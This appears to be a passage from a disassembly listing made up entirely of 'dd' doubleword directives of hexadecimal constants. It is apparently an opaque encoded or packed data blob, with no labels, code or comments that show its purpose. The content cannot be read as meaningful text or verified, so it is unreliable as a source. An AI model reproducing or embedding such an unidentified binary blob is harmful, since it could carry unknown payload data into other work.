		dd 2DD1794h, 299B6B50h,	80197410h, 0D1C3B207h, 0E2E02808h
		dd 0A0F7B4h, 4CCB8D1Eh,	0A967EC99h, 0FB435C91h,	0F01100A0h
		dd 8B2E5C51h, 0B6E4E12Fh, 0F8A44C91h, 23184C28h, 9831A2BEh
		dd 0D250A038h, 3B98C4E3h, 1AD4E06Ah, 0F998A444h, 9D8A1448h
		dd 1AFC0C80h, 28003DD3h, 7293A589h, 33C8381h, 1C570F05h
		dd 0C3C027D1h, 60FEE29h, 800E3A97h, 7769B42Dh, 64D905AEh
		dd 0B29FBE24h, 852E04D8h, 10C0E4B4h, 167231C4h,	8B20FBAh
		dd 10A5F1E8h, 3D70C8h, 0A26B7BD8h, 0B02DE169h, 0CC22A40Fh
		dd 56A942EEh, 0B2C44028h, 0B4B78010h, 20A04DF5h, 0F09CFBB2h
		dd 0A64B6181h, 0F0C75B86h, 0F7F1B7F0h, 4C2F3820h, 18B2C09Bh
		dd 0AE0C8719h, 0C2138D43h, 26308198h, 0D8C114BAh, 0D4C0E003h
		dd 21195E3Dh, 238BB650h, 0DE7905A4h, 508389E0h,	1521DC19h
		dd 4496020Ch, 0BDF4E8h,	0ECC67321h, 8D4348DFh, 9111E104h
		dd 0A4F89D1Eh, 26B4A280h, 2F0560D3h, 51F64E27h,	0A7309090h
		dd 0C08C948Eh, 0ACB5861Bh, 0F89A4E0Fh, 5830F250h, 7F4E9EAh
		dd 0B1CA32C8h, 0B83C80B4h, 0D900AF1Bh, 2BA5F611h, 271A504Fh
		dd 1082DCB7h, 0E4503161h, 3047F302h, 74272469h,	223447FCh
		dd 98899FD9h, 80EAA8F8h, 0B4204A81h, 0FC22F5B7h, 0C4C43096h
		dd 340095B7h, 4F05CEFAh, 7AB0E061h, 8575025Eh, 0E6261F31h
		dd 0B8E99604h, 2280C838h, 2B53E289h, 20F44F88h,	1D2D5D01h
		dd 3201F006h, 15D89BD5h, 0F3D216A8h, 74001B0h, 0EE56272Eh
		dd 985430E6h, 3371E7FCh, 0B0120514h, 0AF487C64h, 5D23810h
		dd 2823A352h, 0F040F0A2h, 108D42C9h, 985B0B65h,	3C0A327Ch
		dd 90A4C67Bh, 1D806427h, 0BF7627C7h, 0B0326294h, 246A38C3h
		dd 698EC8C9h, 87600498h, 7CB9957Ch, 6580A53Fh, 0A12F3328h
		dd 170096BAh, 9AE0527Ah, 277F82CBh, 782041E3h, 5F58CEC7h
		dd 0A6B75450h, 0A12A1701h, 756BF7BEh, 99C810EBh, 0ACC848Eh
		dd 0C9424E48h, 0FC3A0231h, 5594E82Bh, 0D92D00BAh, 4775CBB2h
		dd 0EC09C32Fh, 1CF61507h, 1C99DCh, 85455203h, 7C0F4E36h
		dd 20555BF6h, 8D976123h, 75A26A9h, 0E1321E88h, 44821808h
		dd 3BE741E9h, 847C5A7Bh, 0B022B058h, 8F4068B6h,	24151766h
		dd 22B1CE0h, 785AF57Bh,	0D002844h, 0DF84D067h, 0A151A22Fh
		dd 0FD120F38h, 0C4B64860h, 5CF182h, 7AF4EC4Dh, 0CC1807D8h
		dd 0C531C64Ah, 9624180Fh, 0CD7529EDh, 53B28E1Eh, 0C069A880h
		dd 91B3ADE3h, 84F1908Ch, 400802Dh, 15E4FA0Ch, 0CA36BCA0h
		dd 7432BE41h, 0BFE26B00h, 881B2A29h, 4CF00F00h,	0FE09ADD1h
		dd 0B7160223h, 73932574h, 8E12BC7Ah, 8888AB3Bh,	0C36900E8h
		dd 392B7BC1h, 961C6FFEh, 27E659A5h, 0D1521C01h,	1020E1BBh
		dd 0F34286A1h, 0B16C11h, 45EE24E1h, 198200Eh, 3A89E3C8h
		dd 8FCB567Bh, 2C0E1B8h,	6621504Dh, 0E021B59Ch, 0D1E631DDh
		dd 0A466DEBBh, 3DE3710Bh, 53A499B4h, 53A3840h, 0E93E005Dh
		dd 9BBAEE21h, 34BA6917h, 1A998721h, 30E031A2h, 9C003517h
		dd 0E226D2B1h, 5FE460Fh, 7EA653DDh, 2B943075h, 843B8B80h
		dd 4A1C06FDh, 9838365Ah, 771F1014h, 4CF457EDh, 886E217Ch
		dd 0BE918DD6h, 1FD83700h, 76FDAE3Dh, 23D55C00h,	8A17DA4h
		dd 0DC292D85h, 0FAC22C82h, 82130E01h, 806CA305h, 4B5D4CF1h
		dd 0CB4703E9h, 8BDAD598h, 4FEEB8C0h, 29F4E204h,	4CA773A9h
		dd 0DE00BA22h, 3DD6E5E1h, 44E301Dh, 0A5DF055h, 0CA8481BAh
		dd 880E0850h, 210A42D2h, 0E8DBCC6Bh, 8190110Bh,	9B4D7BE0h
		dd 9F24087Eh, 2FF92A81h, 0B6ED80B8h, 4C66AAECh,	3417C4F4h
		dd 0C97890C8h, 0A25331C3h, 8EC5109Ch, 97C3324h,	38B9F9E6h
		dd 0BB7B30E8h, 23DA9E00h, 6424104Ah, 5F970017h,	0D3F819ACh
		dd 8A09E1F3h, 0FAFBE285h, 59B61748h, 1A00BA93h,	79AA70A6h
		dd 757601D2h, 2E4E9F29h, 3B202465h, 92109B42h, 6A3E12EBh
		dd 54964892h, 0DD3D8068h, 0C7D070DFh, 2D7AB802h, 81917252h
		dd 0FC2C67E4h, 0EC7A3502h, 0DC904D5Ah, 1E5513EEh, 40ECDEDAh
		dd 5A7C73A0h, 2729AA6Fh, 302D880h, 0F63497E2h, 0DE8C42C4h
		dd 4F65C40h, 0C8A64114h, 916A21A0h, 27980AA7h, 23253CF9h
		dd 0B09F96F8h, 2D9D3C1Ah, 0E2E06BCBh, 24501CC8h, 645802B8h
		dd 3EA00F80h, 60E93AFDh, 5065504Ch, 0B695244Eh,	1C0670B4h
		dd 0C179CC16h, 0AEF8C31h, 54764512h, 0E020FC97h, 77079h
		dd 9BAE1E05h, 0DC15721Fh, 0A374195Ch, 0C8CA4FDh, 95A540EAh
		dd 0ABCD901Ch, 0A088DAh, 0B2A0A330h, 2C5EE0BEh,	0EDD979h
		dd 0DA953845h, 0D7132EDCh, 1437A7ADh, 6A1048A9h, 11D4B920h
		dd 0A96E2422h, 2300AD20h, 994A53D8h, 177C401Fh,	4125CC8h
		dd 0B9BB4798h, 666D2D44h, 7E40254h, 0FF355ADAh,	60621CE0h
		dd 8482549Ch, 0D9036C08h, 88B92E0h, 93626EC0h, 0C0085483h
		dd 5D86E026h, 9B1DE6F4h, 7DC2B2A2h, 740BBE24h, 0E464088h
		dd 0C4BC1679h, 52AC8240h, 0C9280A01h, 5AB4A58Fh, 0F041DD0Dh
		dd 730605A3h, 0EFBAA1Fh, 3F1B0059h, 0CA7AE521h,	32032DD1h
		dd 262473C7h, 0FF9FE851h
		dd 10C00A3Bh, 88C6CD3h,	5CAAB257h, 0A6714700h, 147436AAh
		dd 0DA900A3h, 7BABB002h, 510095E2h, 6B9A014Eh, 1ED496Fh
		dd 970D8021h, 7EA3BE89h, 0F4168853h, 0BC8030B2h, 245A3D8Eh
		dd 33CDCA00h, 0C66469ECh, 0ADE212F9h, 0DBF8C84Fh, 982DFC89h
		dd 0B1F0AC00h, 468D5514h, 0D4018212h, 0D62BE402h, 240E02FAh
		dd 0ACA8E812h, 5E0514C2h, 0F10192B4h, 858840BEh, 0D3C06848h
		dd 94485C8Ah, 0C3C05FCFh, 0C8E986Fh, 534E0CB8h,	2F3E9428h
		dd 10BBBB17h, 8F0771C8h, 49CB7D00h, 0E36E246Fh,	608B39BEh
		dd 0C612C058h, 0D1944597h, 1278CD47h, 24DEA1A8h, 11B12242h
		dd 9C02097Ah, 6E1C195Bh, 0C497CC49h, 8DE22730h,	0ECB2D810h
		dd 37513400h, 0A952C3BDh, 89F30211h, 9B593332h,	68F0145Ah
		dd 0B61B2388h, 0BCC85AFCh, 50901C72h, 88E2B700h, 0AA38FCA2h
		dd 214601EFh, 0EB4F04BEh, 8EF0E39Bh, 0D45C70CEh, 0C007774h
		dd 50A7765Dh, 0A041E122h, 0BC4F950h, 7C3A4072h,	69C5FD80h
		dd 6C5F8A4Ch, 780088h, 87BD21AFh, 0AB6BDD92h, 80D72F03h
		dd 0A05B9F28h, 7B716EBFh, 0D47A48E0h, 2D68B5CAh, 0E72B8CC4h
		dd 0F11F7C33h, 122C1925h, 25245F00h, 43963096h,	0FF3A6C90h
		dd 0ABF0382h, 11FE4002h, 67D57EF0h, 0F090A62Eh,	0C0302F51h
		dd 227F4255h, 6820E5DDh, 0FC29204Bh, 0F02722h, 6C89E0D2h
		dd 74D57AAh, 69E1A700h,	0A25DE80h, 9F0E0573h, 0CC78BE96h
		dd 394B97F8h, 2B4FF4D1h, 612AC86Ch, 4CF0453Ch, 0EAF6B2D0h
		dd 92A8F800h, 6529A39Dh, 51EC139Bh, 0A70D006h, 9875BF5Ah
		dd 26EBF909h, 0BAF88409h, 4C487858h, 936A853Fh,	0A83984ADh
		dd 18E0206Bh, 2A0A5FF8h, 0D845213Eh, 1052213Bh,	0A2D38481h
		dd 0F7319844h, 447710B0h, 0A5227058h, 6B83D800h, 7262FD39h
		dd 0CFDE1F6Ah, 0EF6401Bh, 0F4250757h, 0C2E3A806h, 5C68E58Dh
		dd 0E80F7C36h, 0B52A6B2h, 0F09AC104h, 0F750F054h, 0AF350FDCh
		dd 0FC0A629h, 0E073BECDh, 0D8D7BB0Ah, 5910F403h, 0FBC2D1C8h
		dd 4BC60B9h, 0E43D58FEh, 3064D8C4h, 0D0C124h, 0B975AB41h
		dd 67B05DE7h, 10F3F902h, 0A46579C5h, 0B845F530h, 2ACB287h
		dd 18B6959h, 0B7F868BCh, 609882B1h, 0DCE01F25h,	0A51D4138h
		dd 13041685h, 0E7BC253Eh, 2E7000Ch, 6B85A19Ch, 0C94508Bh
		dd 301D022Eh, 0AD82E249h, 0C713C41h, 0F50B4469h, 5008A088h
		dd 71E19B36h, 953E0003h, 0EE30DAA6h, 33E48A0Ch,	0C1E61F12h
		dd 4F275CBCh, 388484CAh, 3C74880Eh, 7E1FA9F2h, 642DE3AFh
		dd 7D1E1750h, 53DC3044h, 95508B84h, 5E020358h, 1BAA0F45h
		dd 0B46444h, 49384D56h,	0D2ABFCB3h, 7433BE12h, 8DFDA444h
		dd 0ECB1D722h, 5E0C7853h, 39ECCC8h, 309D174Bh, 80E109A1h
		dd 0F45DECCAh, 0E088BA00h, 2DD93229h, 2F1000Bh,	62F9F724h
		dd 0A5000F71h, 765E03Bh, 997BADD6h, 923190F4h, 898F30ACh
		dd 0D3E775C0h, 0DA00DBF7h, 0EFE36C05h, 0FA65E41h, 0E5B85C23h
		dd 3D6B6E40h, 109D7670h, 0EE4148h, 18A0B540h, 597C3CDCh
		dd 90DA302h, 49672762h,	0D02D93B4h, 1020F82Dh, 2902FF38h
		dd 0F1AB1300h, 2EBB5941h, 448B1C31h, 0C0569F0Bh, 6DD394D0h
		dd 0B9C53224h, 0A0A8C181h, 244E1049h, 0A01086B0h, 0B020265Ch
		dd 0BAD602h, 0C36CED27h, 0D01B9168h, 56056BFAh,	17AA509Dh
		dd 0A686D044h, 191214EDh, 0E0B60Bh, 9287A66h, 69D725h
		dd 7826DF07h, 38918A1Fh, 2DC7CF38h, 384429h, 0EA2A0C7Ah
		dd 0FB9825A0h, 2497F4A0h, 0B5339980h, 7AD2A820h, 4C260B75h
		dd 0FE405811h, 4BD96CDh, 0AAB6C15Fh, 8CE4D567h,	0D1129838h
		dd 34E5193Dh, 0D688306Fh, 9900A93Ah, 0E96B2A13h, 3DDBAD3Bh
		dd 4F8FC4CDh, 0F0F9CB42h, 224823F5h, 2B8640C0h,	5C002947h
		dd 560D73CCh, 3E4C12A5h, 0AA9C01E4h, 72A9FD9Ah,	9885B439h
		dd 849C25FFh, 0CC49804h, 4F2FDF88h, 6BCC21FEh, 6A884883h
		dd 0DDC1E401h, 0FBA584B3h, 0C6002472h, 9D463B55h, 8307E482h
		dd 40330D5Fh, 0C434C8DDh, 0CA8044A7h, 6A4A1B09h, 2CF4C437h
		dd 0E0600B6Dh, 7EAA3D8Fh, 10EA4200h, 0E24DDDDBh, 31D40259h
		dd 51F2DA1Fh, 3E8054D9h, 1CDCD7EAh, 1293D7Eh, 4CE70580h
		dd 9DFE9E60h, 8C191A04h, 0ECA486BEh, 8700B4F9h,	0F12EADBFh
		dd 0C0A96A15h, 0DD12A450h, 54A8CFE3h, 82FAA18h,	872CBE88h
		dd 9C68CCA7h, 0B28BD860h, 176C9C4Ch, 3CE42D1Fh,	6C318038h
		dd 52ABFDDCh, 86889432h, 12042389h, 0F9DC04CCh,	8AC4A825h
		dd 0FA50A41Ch, 28309D0Ah, 0DE0037E3h, 0B1A3C245h, 0DDFF67h
		dd 3A0BA28Eh, 579BA5EBh, 0F0B6F52Ah, 62387F00h,	795D4899h
		dd 373027B4h, 0E020C88Dh, 312FD977h, 7CC40A4Eh,	0FBDE7861h
		dd 97091C3Dh, 0B880ECE6h, 917E3B85h, 2A7263Eh, 2FE10BE3h
		dd 440CE656h, 0D0B849BCh, 4EC32A22h, 15C904Eh, 0A300F16Ah
		dd 3B27797Eh, 0DFFB86h,	9C4BD0CAh, 0E46B130Ch, 0CC8E9409h
		dd 5BBC444Ah, 19348C0Fh, 2D5C4D0Bh, 25C9FE74h, 2ED92C11h
		dd 2BCB838h, 5889B46Ah,	8C41C67Ah, 0E55C520Ah, 8006FD22h
		dd 0ADC4B47Ch, 8F82000Fh, 74C2CA6Ah, 2F1937ECh,	0B2E05A9Dh
		dd 0B758003Ah, 4EA8BB5h, 31323F00h, 216E45E6h, 419700F5h
		dd 0F39D4C6Ah, 0D12FCA0h, 3C09D1FFh, 72241235h,	1EDA00B4h
		dd 0DF0B48BBh, 9000BCBEh, 0FCF82677h, 4C7C69C7h, 0F92128CCh
		dd 90C0188h, 407A535Fh,	6ECF3A0Eh, 47F84115h, 0DADCFFEAh
		dd 6AECE0h, 7D518B1Eh, 727A8FE9h, 0AABDE10Bh, 0F887A40h
		dd 31ED4C30h, 0C1B29BC0h, 0A02E524Eh, 0E3845089h, 0BE08FC2Dh
		dd 0DB700C80h, 742EABCh, 32AF82D4h, 74C8018h, 3300F839h
		dd 1A7C61B9h, 69C2C6h, 0D4E1EA72h, 605C458Ch, 6D8EC409h
		dd 90C10BEBh, 0E73E10h,	0B08BA2D4h, 732DAAFh, 0A1D10402h
		dd 0D90579C4h, 0B32512A8h, 0B02717FCh, 80B2A048h, 508E8C3Bh
		dd 70B4ABC7h, 79CC3240h, 0F224A811h, 1CF9820Ah,	14FF2A1Dh
		dd 10F49C92h, 8216E662h, 0E01028A9h, 0E443C009h, 0C8F13Fh
		dd 3EE36988h, 88A0951Dh, 560790A9h, 45AF2A91h, 64889424h
		dd 9F6E001Eh, 58C6C4DDh, 0E30BD208h, 440231C3h,	31F74F4Ch
		dd 1EC4AE0h, 382F173Eh,	8D44AE88h, 4B425BEFh, 588484B4h
		dd 83FC806Bh, 941E7445h, 89C0D4A6h, 1F51F3BAh, 74A097DCh
		dd 853903D9h, 2C48A45Ch, 440910E7h, 4C44D09Bh, 5180EC94h
		dd 26B8AFF0h, 5A01D57Ah, 15973CD7h, 83E23DD3h, 4A65F44h
		dd 98993BD9h, 8ECB04B1h, 273A121Eh, 0F41CC4F4h,	6C018B98h
		dd 0C7ADD2FEh, 92035BBh, 37B8014Dh, 8AE4F380h, 4058A56Dh
		dd 20E84218h, 1A20F8AFh, 0C8B75F0Bh, 0CE00B174h, 0CFC6D954h
		dd 0B0ED8E18h, 0C9BD285Ch, 3FC50AB4h, 4080FEAEh, 0B05D0D46h
		dd 908D0925h, 3FC7922Ch, 2700D775h, 13215A8Bh, 930919E8h
		dd 0C6820191h, 18620384h, 0A2F6D54Bh, 25BF9200h, 6BB4B66Ah
		dd 4AC40765h, 0D0A1CE02h, 80DDBAC1h, 0BB449095h, 10D7C3Ch
		dd 0AF24928Ch, 81544DA5h, 31C498F9h, 1024CFAEh,	95017C2Dh
		dd 0A800A86Ch, 0E92CDA68h, 4454D0h, 2D49D779h, 0ADE4527Bh
		dd 0E022F75Ah, 581911D9h, 9C54FBD8h, 349145F8h,	0D0724000h
		dd 15921BAh, 3AFF9C2Bh,	0F2B03D3Ch, 0E189CC7Ch,	54109041h
		dd 4AFF0BA7h, 0CC00F570h, 5AE2962Dh, 49459201h,	0BE252846h
		dd 4E2C81A8h, 0DF8C2115h, 0AE30DCFEh, 500F8802h, 7139995Bh
		dd 32898330h, 45E7AFF2h
		dd 236CD050h, 50D29B27h, 0E70024F3h, 72FB6233h,	15F66C4Ah
		dd 4D17E01h, 8DED79C5h,	0B486408h, 0EA4CC180h, 0AC4C7587h
		dd 13ED09A4h, 0C85EC57Dh, 38A48052h, 16216F7Bh,	0D0F50B67h
		dd 0EEB94A28h, 0FE287200h, 0A87A46FDh, 0C6910039h, 0AFE58C0Ah
		dd 0FB12D993h, 0B02594F4h, 0FC009CADh, 1DF8C7BBh, 0ECF0F064h
		dd 0FD13B300h, 0B75DF945h, 0D53B0261h, 0CE2FE06Ch, 1020F4E6h
		dd 0D31E0182h, 0AB72C3ADh, 98A020E8h, 2275544h,	0ED8C1AA3h
		dd 0B440570Eh, 0AC90F78Dh, 289EB880h, 0E5B34D09h, 25FCD0F6h
		dd 28655362h, 0E7A4253Eh, 322500B0h, 8DD41B75h,	398880BBh
		dd 464258FAh, 0C0F84D6Fh, 5FE21BA8h, 9541E6E3h,	42014CAEh
		dd 0F45D51CFh, 0A800B83Eh, 0DB5C0167h, 22A2DCEh, 657BBA7Fh
		dd 5C5A3A0Fh, 0C2E22F00h, 0BE7EB53Ch, 0AC90B56Dh, 8B888E20h
		dd 97CA25CFh, 0D2025C64h, 4E6E31C8h, 2C5070D7h,	40381951h
		dd 0F656245Fh, 2E2C1097h, 2AF903BBh, 0DA36AC80h, 1FB476E8h
		dd 9B8A5100h, 0DB78A59Ch, 2240C02Bh, 97E2A6B3h,	88C8304Fh
		dd 906F2726h, 0A686A421h, 6C8A10E8h, 0FBA90034h, 21E3B9ECh
		dd 0B12E7642h, 6A81E498h, 41DBA54Dh, 724417Fh, 0C87CEEF4h
		dd 2600B430h, 0F8AA9C46h, 0CBF93Ch, 776D86AEh, 0FBB20D8Ah
		dd 1155F8C9h, 286B1BA0h, 0B93C99BCh, 52C89FE6h,	4F8CB080h
		dd 900EFED7h, 0CAE85FD0h, 8721ACh, 0CD9E89C9h, 45EC5FA5h
		dd 8D4C5801h, 80EBA76Bh, 0DE4FB0E0h, 0CE768C11h, 325C2329h
		dd 2C428AC4h, 0B6DCFF00h, 0E301CFh, 6E62D174h, 7FE021CCh
		dd 60051B09h, 10D96Bh, 0C0935239h, 7209BE74h, 66CDA29h
		dd 2CE06287h, 53981Ch, 0A75A95Ch, 0CD0029FDh, 0C763A86h
		dd 60B25F47h, 0EDF71936h, 8F161227h, 830780Fh, 0E4F561h
		dd 0EECA7079h, 71E5D6B6h, 91A20100h, 31C55E2Fh,	81065A05h
		dd 142D8DACh, 20074A2h,	38A9131Fh, 87004807h, 1BA5B1AFh
		dd 5BDC6B7h, 0C51FCADCh, 0A0CC1483h, 5595E781h,	0D302D2FBh
		dd 3B822FE9h, 0F8D04533h, 946B3E2Fh, 1DB316C8h,	3D55018Ah
		dd 0D579D9A0h, 8756202Bh, 3C182A0Eh, 74D5A91Ah,	0D8B60D4h
		dd 6DE81BE9h, 9C5820BAh, 92FE80ACh, 4C0489ECh, 3B00F4F8h
		dd 73EFAA87h, 7A07A0D6h, 1F82BB05h, 0D34C1BF0h,	0D828006Eh
		dd 91F4643Dh, 4201CB92h, 36FDE533h, 0DE20ED21h,	79460027h
		dd 0FF4B4C19h, 0C9379D18h, 4E834004h, 0F018DE82h, 9BC300ABh
		dd 6234459h, 0C90004BBh, 0E87CB826h, 6AB97FDh, 83413E79h
		dd 4C033044h, 6BA62791h, 0EA39C8B6h, 0C9BC0014h, 0BD81E81h
		dd 7B307A8Ch, 90A86161h, 7738C74Ah, 8AB520BBh, 0A901ADE3h
		dd 0A10908D3h, 20834C24h, 0F8479ACh, 2156B11Bh,	779DF819h
		dd 0AEC900A3h, 0D86E8DD7h, 0A51852D0h, 34D14D13h, 6A9100DCh
		dd 6F63E25Eh, 6407A77Ch, 4C5BD2BEh, 20F6F08Ch, 3F07FE4Ah
		dd 0E91C4D7Fh, 0A249D632h, 99C74084h, 0BC70F8B8h, 9B6406DBh
		dd 9901607Ch, 0CE788174h, 10F873Ah, 846E941Fh, 90915F6Ch
		dd 0F338004Bh, 8892569Ch, 62400068h, 0B40BBD7Fh, 705F790h
		dd 0ABA67E57h, 7D82B006h, 60BFA0E9h, 642301D8h,	0EC1D2690h
		dd 158916Bh, 0AE8E8500h, 373440CBh, 0E735C00h, 0BC7FD23h
		dd 0DF7C0F9Ch, 517982BCh, 86B8E3A7h, 42E4A4FBh,	695405B0h
		dd 7C0049CCh, 62DF16DAh, 584FBD66h, 730192E7h, 238CFAAEh
		dd 585FE4ABh, 5BCF31C0h, 0CCD03Bh, 645C0552h, 0F122CD5Ah
		dd 34E66300h, 780AAFE1h, 7A820CC7h, 0BB39AE84h,	6867D500h
		dd 3BFDAAA8h, 7B3C0007h, 0FE9D1B05h, 0D8D81A94h, 3B448CB8h
		dd 0EB8086D1h, 0FDA9B9D7h, 2300052Ah, 45491B78h, 141A395Bh
		dd 0C85FDFE4h, 6F8EDC80h, 840131A7h, 22571396h,	8044F6DDh
		dd 3C1031C3h, 76011229h, 5AF54FF3h, 53CBF89Dh, 0A9576030h
		dd 3E44487Bh, 0CF7A402h, 6CC4F815h, 0E9092D2Ch,	2028AEA0h
		dd 44C08514h, 1AB80E67h, 86E0EA81h, 0B0784DE3h,	8A6B2107h
		dd 0D352CF68h, 23D8410Eh, 521324C0h, 9F3DCC83h,	549ECF00h
		dd 3940F167h, 28DF7101h, 0E361AF1Ah, 1F31FD8h, 0F2F8ACA5h
		dd 244A10FAh, 0B8F2A900h, 0DC02BA07h, 0A400A103h, 0A5AC62h
		dd 0ECC36DAAh, 91EDE1EBh, 0CF90663h, 6B4087BEh,	1EC6342h
		dd 4E565249h, 2212AC1Ah, 0F981002Ch, 0D6CDEFF3h, 0D1D0053h
		dd 0DCE7AAC6h, 420CAFB9h, 502A0560h, 0B5FEF3h, 7D336C5Ah
		dd 4C681C30h, 0F67ACC02h, 40014EDEh, 124176E4h,	789F1F9h
		dd 358A49B8h, 94A04139h, 0CB1F6D60h, 6858F6A8h,	0B52E8912h
		dd 0D8498600h, 6E21E3Ch, 18EF9D5Ch, 6031A01Ch, 0DFE8D102h
		dd 26A70BC4h, 93880A82h, 0AF042014h, 10009D4Ah,	96D546Ch
		dd 9997B07h, 1903AC15h,	56049418h, 0EB001042h, 57DB8BE4h
		dd 8119C0F7h, 1118FCA0h, 87452C40h, 83600063h, 962F07D0h
		dd 0BF14BAFBh, 1088FF3Fh, 3720629Ah, 57DF4306h,	6148CAh
		dd 912386F2h, 0A18C4D8Ah, 8718889Ah, 0DF61E910h, 0EC430649h
		dd 0E85C33DEh, 988F883Bh, 20F9056Fh, 7C93E2h, 9C7C5475h
		dd 7A098822h, 0A148A10Fh, 4C69D98h, 0D08B2C40h,	0C1A890EAh
		dd 35DDE7A8h, 40A1F17Dh, 0D29BBF44h, 29803900h,	88486531h
		dd 68071CD7h, 71617D7Ah, 48741756h, 0E92C4D98h,	449204Ah
		dd 0F84206DCh, 48668D0Fh, 44CB5711h, 99471318h,	5A2C90C9h
		dd 6A01D5F9h, 27A1DCE6h, 12B85180h, 4677D428h, 0DD13AA00h
		dd 62480479h, 22F54CF0h, 4F18F100h, 6A4D0FABh, 340EE090h
		dd 13F91E90h, 8E049848h, 0FA411F2Dh, 809DAB3Dh,	18F822F1h
		dd 0F938DA1h, 92822E3Eh, 1E73040h, 1C1D3281h, 78AC4F72h
		dd 0F7D91060h, 3C3B0022h, 75F96505h, 0C060D487h, 96F3B5A4h
		dd 0FCA0056h, 9455C674h, 0AA18101Fh, 77117387h,	29B463AEh
		dd 59017C82h, 0FD9598BBh, 87C607B7h, 79D10FF8h,	0C1804F10h
		dd 936AD162h, 0DC380D40h, 5BFA8004h, 8F782F4h, 797430h
		dd 0BC0545B0h, 3B098541h, 4911C260h, 26F4B275h,	60744F87h
		dd 8BAF76ABh, 24009776h, 654EAAECh, 17185FB7h, 4504F311h
		dd 4B909410h, 50108398h, 0DD0042C2h, 0EA78A880h, 0B069146Dh
		dd 8545187Ch, 81BB6166h, 560054B9h, 3F51620h, 5A5324A6h
		dd 13F21DE2h, 0A804FA97h, 5DC104E0h, 5472C779h,	4A92C000h
		dd 0F0F5F28Ah, 838DFB00h, 1867EAC6h, 0BB0200B0h, 2627C73Eh
		dd 2324F031h, 5307340Dh, 797C256Bh, 0B9D614EBh,	3680E082h
		dd 0A16FE3DEh, 89154E03h, 93C9EDF5h, 21B9E061h,	6E2718FDh
		dd 268F489Bh, 24DD49h, 0AB1966EAh, 0C072B592h, 36BD80E0h
		dd 26022EEBh, 256F45Ch,	2F94A298h, 0B1FE277Fh, 8FF11F67h
		dd 37CB9C08h, 2985BC21h, 0F4E7AC11h, 8E26ADEAh,	0ED019C54h
		dd 31C7E3Ch, 880011E9h,	796081BAh, 50F1959h, 3E0A00A8h
		dd 4B8FB723h, 1A00C011h, 0E5ABC2ECh, 0B09FCE6h,	397E83C7h
		dd 8BBB405h, 214063B0h,	1FC0BD4h, 0A260CB25h, 3EDAF5E0h
		dd 286935A0h, 9684678h,	8EFB1119h, 81DA4C01h, 212FD097h
		dd 0B0E7062Ch, 24082300h, 0A4FD0FFFh, 213008C4h, 393D3DE3h
		dd 0BCA1A470h, 9A280D40h, 89E003Ch, 0E6A72597h,	9328AE16h
		dd 322084F7h, 0C89D1380h, 47602005h, 0C7140748h, 8888AA5Fh
		dd 58728045h, 0BD4777BBh, 0FBC8B200h, 5142D344h, 8FA13010h
		dd 639DC579h, 8C7B007h,	952711B5h, 0FD0A0CF3h, 242830D0h
		dd 0EFD80088h, 89AC1D90h
		dd 687D6BB9h, 0A5023FF4h, 0D02CC882h, 5AA460DCh, 674A04F2h
		dd 0A202BECAh, 71A330A8h, 95C7ACh, 2011D936h, 0AFF82FC0h
		dd 889B5626h, 2922A99Dh, 13CC7A46h, 79AA008Dh, 4824B75Ah
		dd 7B200161h, 0BB004AE8h, 8E0BB0C9h, 0BE93738h,	614C0058h
		dd 4CCFBE82h, 78225846h, 0A7E6DB00h, 0C89EF529h, 395D0F82h
		dd 0EE39097h, 0D880C763h, 29008122h, 0B9CB2F7Ah, 17AB4406h
		dd 40E28525h, 93D0BBD0h, 0E703D84Dh, 12389C6h, 0F181C18Ch
		dd 0F256022h, 40897820h, 0C000795Eh, 0C2FBB284h, 4FE743h
		dd 13BB873Dh, 2276B5E1h, 0DD7D46F2h, 0D010B8DEh, 847E870Ah
		dd 9851283Ch, 4664AD4h,	4B58BCh, 0D6CFF2DBh, 53E005Dh
		dd 0FA32367Fh, 0E20079EAh, 91825093h, 0A8AB601Eh, 0A8A5A898h
		dd 56AC8h, 0B9B211A6h, 0C8898108h, 8F583858h, 116F29A0h
		dd 0F1452DCh, 88F23FF0h, 6CB81440h, 839C3E0Ch, 12253170h
		dd 0C1EA4h, 2DAB7B9Bh, 0B1C05560h, 0A9AAEEDDh, 0B41D006Fh
		dd 0F796955Dh, 1B00C175h, 0E66D26ADh, 2B9F448h,	3107E7ABh
		dd 14604B4Eh, 0F0CB32Ah, 69492457h, 6A155840h, 9C4C700h
		dd 9835E24Bh, 8065CA00h, 7FBB6137h, 0C9201DA7h,	25F9402Ch
		dd 84CB2A0Ch, 70724E00h, 0B9977901h, 33A77CCh, 6BF7BCCAh
		dd 0B814C4Bh, 0D7FFCADh, 4BB88A8h, 878B9702h, 0A0F6CA9Ch
		dd 0F4F1D8F0h, 7FFF3C95h, 9F372D0Fh, 6ECD40FFh,	99C6315Fh
		dd 13FCE500h, 26CFACA3h, 71833127h, 0C0EC07C1h,	5400E98Ah
		dd 0FC373C9Fh, 4DA5268Dh, 7700B41Fh, 4471C5A8h,	0F5CAA58h
		dd 0B62481BCh, 5330485Ch, 9431039Bh, 1490DF53h,	0B7F01E09h
		dd 603C8202h, 58BCA06Ch, 38F436h, 0F931E390h, 7609453Eh
		dd 0B715071Dh, 12C68289h, 9148E8B0h, 871899B6h,	0C37D7B96h
		dd 4EC8E65Fh, 942C6B29h, 0CC265FD6h, 37A74382h,	2CD4E64Bh
		dd 0E3C2B33h, 0E583F477h, 10AA53A1h, 650078E4h,	756D4583h
		dd 26FBA36Bh, 60ECB9DDh, 0D1A4C614h, 175B482Eh,	9F5D000h
		dd 0EE37E618h, 91440123h, 1A9BB619h, 0C270716Ch, 3E2AE02Fh
		dd 19BB4F43h, 28888561h, 0A5F040CFh, 0B4918056h, 92CAAC83h
		dd 5A12A22Dh, 68951C28h, 761A430Eh, 2890D3Bh, 27B67069h
		dd 9C02BEFCh, 4DE114DFh, 118798Ch, 1A827FE7h, 9DA44029h
		dd 51C3F1F7h, 18368C4Eh, 0E17B8329h, 0E800A4C2h, 0D5959947h
		dd 1D93302h, 0FFBE72D0h, 20C719E1h, 0F006E8B8h,	7ED88659h
		dd 39CA0939h, 0D0802506h, 744A941Fh, 7AE9D602h,	46265605h
		dd 31FE1F90h, 904F1814h, 0DF8904CBh, 1D8D9CC0h,	5CAC2339h
		dd 0E36C2461h, 0F8927824h, 0B49068C4h, 0C4376C02h, 0E8607DF6h
		dd 6EFF88h, 3C27ABF4h, 7D796E5h, 24DBD625h, 0C05F4C38h
		dd 0C1F5D335h, 9F008850h, 42B8D7C7h, 1425EA5Bh,	0CC608D75h
		dd 0DB1C300Fh, 1122D640h, 460B4D89h, 2D7E88Ch, 48ED5DF2h
